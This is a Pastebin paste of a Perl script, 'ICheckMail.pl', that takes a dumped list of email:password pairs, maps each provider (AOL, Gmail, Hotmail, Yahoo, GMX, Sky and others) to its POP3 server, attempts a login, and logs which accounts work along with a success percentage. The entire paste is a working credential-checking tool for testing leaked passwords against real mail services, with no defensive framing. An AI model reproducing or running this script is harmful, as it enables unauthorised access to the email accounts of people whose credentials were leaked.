Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- # USAGE :
- # ICheckMail.pl <login_&_pass_list.txt> <results.txt>
- # <login_&_pass_list.txt> must be formatted like this: username@provider.xxx:pass
- # example :
- # ICheckMail.pl dump.txt results.txt
- if(@ARGV!= 2){&usage;}
- else{
- print "\n";
- print "-------------------------------\n";
- print "- ICheckMail.pl -\n";
- print "-------------------------------\n";
- print "- Version 1.00 -\n";
- print "-------------------------------\n";
- print "\n";
- print "Starting...\n";
- print "\n";
- $loginlist = $ARGV[0];
- $resultlist = $ARGV[1];
- $comptcourant = 0;
- $comptpo = 0;
- sub test($$);
- open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
- @tab = <MYFILE>;
- chomp(@tab);
- $total = scalar @tab;
- print "$total email accounts to check\n";
- print "\n";
- open(MYFILE, $loginlist) || die "Can't open file $loginlist\n";
- print "Openning file $loginlist\n";
- print "Connecting to POP servers...\n";
- print "\n";
- while(my $ligne = <MYFILE>){
- chomp($ligne);
- @details = split(/[@,:]/,$ligne);
- #$details[0] = user
- #$details[1] = provider
- #$details[2] = pass
- if(($details[0]) and ($details[1]) and ($details[2])){
- $details[0] =~tr/[A-Z]/[a-z]/;
- $details[1] =~tr/[A-Z]/[a-z]/;
- $comptcourant = $comptcourant + 1;
- $port = "110";
- $SSL = 0;
- $AUTH_MODE = 'BEST';
- # Beginning of POP servers list (modify it !!)
- if
- ($details[1] =~ m/aol/) # Aol
- {$pop = "pop.aol.com";}
- elsif
- ($details[1] =~ m/gmail/) # gmail =====> SSL
- {$pop = "pop.gmail.com";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/googlemail/) # gmail =====> SSL
- {$pop = "pop.gmail.com";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/web/) # web.de =====> SSL
- {$pop = "pop3.web.de";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/bol.com/) # bol.com.br =====> SSL
- {$pop = "pop3.bol.com.br";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/gmx/) # gmx =====> SSL
- {$pop = "pop.gmx.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/caramail/) # gmx =====> SSL
- {$pop = "pop.gmx.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/hotmail/) # hotmail =====> SSL
- {$pop = "pop3.live.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/live/) # live =====> SSL
- {$pop = "pop3.live.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/msn/) # msn =====> SSL
- {$pop = "pop3.live.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/yahoo/) # yahoo ======> SSL
- {$pop = "pop.mail.yahoo.com";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/ymail/) # yahoo ======> SSL
- {$pop = "pop.mail.yahoo.com";
- $port = "995";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/talktalk/) # TalkTalk
- {$pop = "mail.talktalk.net";
- $port = "110";
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/tiscali/) # Tiscali
- {$pop = "pop.tiscali.co.uk";
- $port = "110";
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/att/) # ATT ======> SSL
- {$pop = "pop.att.yahoo.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/sapo/) # Sapo
- {$pop = "pop.sapo.pt";
- $port = "110";
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/sky/) # SKY ======> SSL
- {$pop = "pop.tools.sky.com";
- $port = "995";
- $SSL = 1;
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- elsif
- ($details[1] =~ m/me/) # me.com ======> SSL
- {$pop = "mail.mac.com";
- $port = "587";
- $SSL = 1;}
- elsif
- ($details[1] =~ m/rediffmail/) # Rediffmail
- {$pop = "pop.rediffmail.com";
- $port = "110";
- $details[0] = $details[0]."@".$details[1];} # user is composed xxxx@xxx
- else
- {$pop = "UNKNOWN POP !!";}
- # End of POP servers list
- if ($details[0] =~ m/\@/)
- { print "$comptcourant:$total EMAIL $details[0] PASS $details[2] ";}
- else
- {print "$comptcourant:$total EMAIL $details[0]\@$details[1] PASS $details[2] ";}
- if(test($details[0],$details[2]))
- {$result = "OK";
- $comptpo = $comptpo + 1;
- print "OK\n";}
- else
- {$result = "NO";
- print "NO\n";}
- }
- else
- {print "line $ligne from entry file is not formated like this user\@provider.com:pass)!!\n";
- print "Process stopped...\n";
- exit(1);}
- open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
- if ($details[0] =~ m/\@/)
- {print LOG "$details[0]:$details[2]:$result:$pop\n";}
- else
- {print LOG "$details[0]\@$details[1]:$details[2]:$result:$pop\n";}
- close(LOG);
- }
- $stat = sprintf("%.2f",(($comptpo * 100) / $total));
- open(LOG,">>$resultlist") || die "Can't open file $resultlist\n";
- print LOG "\n";
- print LOG "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
- print LOG "\n";
- close(LOG);
- print "\n";
- print "Writing results in $resultlist\n";
- print "\n";
- print "Finished with $comptpo positive account(s) on $total, success $stat\%\ \n";
- }
- sub test($$){
- $user = $_[0];
- $pass = $_[1];
- use Mail::POP3Client;
- $mail = new Mail::POP3Client( HOST => $pop, USESSL => $SSL, AUTH_MODE => $AUTH_MODE, TIMEOUT => 60, );
- $mail->User( $user );
- $mail->Pass( $pass );
- $mail->Port( $port );
- if( $mail->Connect == 0 ) # 0=NO 1=OK
- {return 0;}
- else
- {return 1;}
- }
- sub usage{
- print "[-] ICheckMail.pl <input.txt> <output.txt>\n";
- print "[-] <input.txt> must be formatted like this: login\@provider.com:pass\n";
- print "[-] example :";
- print "[-] ICheckMail.pl dump.txt results.txt\n";
- die("[!] Usage incorrect !!\n");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement